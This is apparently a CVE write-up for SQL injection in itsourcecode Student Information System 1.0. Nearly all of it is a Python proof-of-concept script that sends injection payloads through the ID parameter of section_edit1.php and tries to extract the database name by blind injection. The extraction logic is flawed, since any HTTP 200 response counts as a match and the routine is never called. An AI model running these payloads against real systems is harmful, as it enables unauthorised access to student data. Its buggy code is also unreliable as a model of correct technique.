CVE-2025-14214: itsourcecode学生信息系统section_edit1.php SQL注入漏洞

import requests import sys # CVE-2025-14214 SQL Injection PoC # Target: itsourcecode Student Information System 1.0 # Vulnerable File: /section_edit1.php # Parameter: ID def exploit_sqli(target_url, param_id): """ SQL Injection exploitation using UNION-based technique """ # Basic injection test - determine if vulnerable payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' UNION SELECT 1,2,3--" ] for payload in payloads: url = f"{target_url}/section_edit1.php" params = {'ID': payload} try: response = requests.get(url, params=params, timeout=10) # Check for SQL error messages or different responses if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] Vulnerable! Payload: {payload}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def blind_sqli(target_url): """ Boolean-based blind SQL injection to extract data """ # Example: Extract database version charset = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' result = "" for pos in range(1, 50): found = False for char in charset: payload = f"1' AND SUBSTRING((SELECT database()),{pos},1)='{char}'--" url = f"{target_url}/section_edit1.php" params = {'ID': payload} try: response = requests.get(url, params=params, timeout=10) # Adjust condition based on actual application response if response.status_code == 200: result += char print(f"[+] Extracted: {result}") found = True break except: pass if not found: break return result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14214.py <target_url>") print("Example: python cve-2025-14214.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-14214 on {target}") exploit_sqli(target, '1')